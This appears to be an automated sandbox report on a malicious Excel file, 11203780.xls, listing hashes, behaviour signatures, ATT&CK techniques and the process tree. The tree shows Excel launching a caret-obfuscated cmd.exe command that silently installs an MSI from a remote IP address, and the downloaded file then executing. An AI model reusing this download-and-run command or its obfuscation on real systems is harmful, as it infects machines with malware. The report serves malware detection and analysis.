7c3822b0015e740bb3e9a1c4d0d5da368cae8117a820152377d41de49ff3ca36

General

Target

11203780.xls
Size

172KB
MD5

14b2d3f08ad6543c060d19748f526167
SHA1

b10646324228a4b21154ef6e7d9d5469a61364e7
SHA256

7c3822b0015e740bb3e9a1c4d0d5da368cae8117a820152377d41de49ff3ca36
SHA512

e800b1d0531a7e5931d6ad9e1cd48003e80d0f366e62f55e6dd17de5613bed9bd431ee40d0baa42e51389d30c1d9509a83e6878faa11f11d8e5745725035766b

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2708	3544	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

msiexec.exe

flow pid process

10 3168 msiexec.exe
Executes dropped EXE 1 IoCs

Processes:

MSI9D1.tmp

pid process

808 MSI9D1.tmp
Use of msiexec (install) with remote resource 1 IoCs

Processes:

msiexec.exe

pid process

3264 msiexec.exe

flow	pid	process
10	3168	msiexec.exe

pid	process
808	MSI9D1.tmp

pid	process
3264	msiexec.exe

Enumerates connected drives 3 TTPs 48 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

msiexec.exemsiexec.exe

description	ioc	process
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe

Drops file in Windows directory 6 IoCs

Processes:

msiexec.exe

description	ioc	process
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI943.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9D1.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4FC.tmp	msiexec.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3544 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

msiexec.exe

pid process

3168 msiexec.exe
3168 msiexec.exe

pid	process
3168	msiexec.exe
3168	msiexec.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

Processes:

msiexec.exemsiexec.exe

description	pid	process
Token: SeShutdownPrivilege	3264	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3264	msiexec.exe
Token: SeSecurityPrivilege	3168	msiexec.exe
Token: SeCreateTokenPrivilege	3264	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3264	msiexec.exe
Token: SeLockMemoryPrivilege	3264	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3264	msiexec.exe
Token: SeMachineAccountPrivilege	3264	msiexec.exe
Token: SeTcbPrivilege	3264	msiexec.exe
Token: SeSecurityPrivilege	3264	msiexec.exe
Token: SeTakeOwnershipPrivilege	3264	msiexec.exe
Token: SeLoadDriverPrivilege	3264	msiexec.exe
Token: SeSystemProfilePrivilege	3264	msiexec.exe
Token: SeSystemtimePrivilege	3264	msiexec.exe
Token: SeProfSingleProcessPrivilege	3264	msiexec.exe
Token: SeIncBasePriorityPrivilege	3264	msiexec.exe
Token: SeCreatePagefilePrivilege	3264	msiexec.exe
Token: SeCreatePermanentPrivilege	3264	msiexec.exe
Token: SeBackupPrivilege	3264	msiexec.exe
Token: SeRestorePrivilege	3264	msiexec.exe
Token: SeShutdownPrivilege	3264	msiexec.exe
Token: SeDebugPrivilege	3264	msiexec.exe
Token: SeAuditPrivilege	3264	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3264	msiexec.exe
Token: SeChangeNotifyPrivilege	3264	msiexec.exe
Token: SeRemoteShutdownPrivilege	3264	msiexec.exe
Token: SeUndockPrivilege	3264	msiexec.exe
Token: SeSyncAgentPrivilege	3264	msiexec.exe
Token: SeEnableDelegationPrivilege	3264	msiexec.exe
Token: SeManageVolumePrivilege	3264	msiexec.exe
Token: SeImpersonatePrivilege	3264	msiexec.exe
Token: SeCreateGlobalPrivilege	3264	msiexec.exe
Token: SeRestorePrivilege	3168	msiexec.exe
Token: SeTakeOwnershipPrivilege	3168	msiexec.exe
Token: SeRestorePrivilege	3168	msiexec.exe
Token: SeTakeOwnershipPrivilege	3168	msiexec.exe
Token: SeRestorePrivilege	3168	msiexec.exe
Token: SeTakeOwnershipPrivilege	3168	msiexec.exe
Token: SeRestorePrivilege	3168	msiexec.exe
Token: SeTakeOwnershipPrivilege	3168	msiexec.exe
Token: SeRestorePrivilege	3168	msiexec.exe
Token: SeTakeOwnershipPrivilege	3168	msiexec.exe
Token: SeRestorePrivilege	3168	msiexec.exe
Token: SeTakeOwnershipPrivilege	3168	msiexec.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
3544	EXCEL.EXE
3544	EXCEL.EXE
3544	EXCEL.EXE
3544	EXCEL.EXE
3544	EXCEL.EXE
3544	EXCEL.EXE
3544	EXCEL.EXE
3544	EXCEL.EXE
3544	EXCEL.EXE
3544	EXCEL.EXE
3544	EXCEL.EXE
3544	EXCEL.EXE

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

EXCEL.EXEcmd.exemsiexec.exe

description	pid	process	target process
PID 3544 wrote to memory of 2708	3544	EXCEL.EXE	cmd.exe
PID 3544 wrote to memory of 2708	3544	EXCEL.EXE	cmd.exe
PID 2708 wrote to memory of 3264	2708	cmd.exe	msiexec.exe
PID 2708 wrote to memory of 3264	2708	cmd.exe	msiexec.exe
PID 3168 wrote to memory of 808	3168	msiexec.exe	MSI9D1.tmp
PID 3168 wrote to memory of 808	3168	msiexec.exe	MSI9D1.tmp
PID 3168 wrote to memory of 808	3168	msiexec.exe	MSI9D1.tmp

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\11203780.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3544

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c ms^iE^x^ec /i http://199.195.250.60/gg/11203780.msi /qn
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2708

C:\Windows\system32\msiexec.exe
msiExec /i http://199.195.250.60/gg/11203780.msi /qn
3⤵
- Use of msiexec (install) with remote resource
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
PID:3264

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3168

C:\Windows\Installer\MSI9D1.tmp
"C:\Windows\Installer\MSI9D1.tmp"
2⤵
- Executes dropped EXE
PID:808

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

3

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Windows\Installer\MSI9D1.tmp
MD5
42013c93a1711781565cb1373a43f971

SHA1
15a6ee651a4d11d55c2c130295c0f53741a2be62

SHA256
dcbaf7178636323a226f048b4c8f64510b5b36fbfebcdf56df543eba07bc3bd1

SHA512
3b16826760380fd0cf10cd85d5cf9ded4c504e5bc9c8932e09ce88c02cc2dadf80d7198f14ff8f1dfdd52ab78a26ca7eca0c664f47ef8e790ae04cff0baf4bd9

Download Submit
C:\Windows\Installer\MSI9D1.tmp
MD5
42013c93a1711781565cb1373a43f971

SHA1
15a6ee651a4d11d55c2c130295c0f53741a2be62

SHA256
dcbaf7178636323a226f048b4c8f64510b5b36fbfebcdf56df543eba07bc3bd1

SHA512
3b16826760380fd0cf10cd85d5cf9ded4c504e5bc9c8932e09ce88c02cc2dadf80d7198f14ff8f1dfdd52ab78a26ca7eca0c664f47ef8e790ae04cff0baf4bd9

Download Submit
memory/808-7-0x0000000000000000-mapping.dmp

Download
memory/2708-3-0x0000000000000000-mapping.dmp

Download
memory/3264-4-0x0000000000000000-mapping.dmp

Download
memory/3264-5-0x000002A80C2E0000-0x000002A80C2E4000-memory.dmp

Filesize
16KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads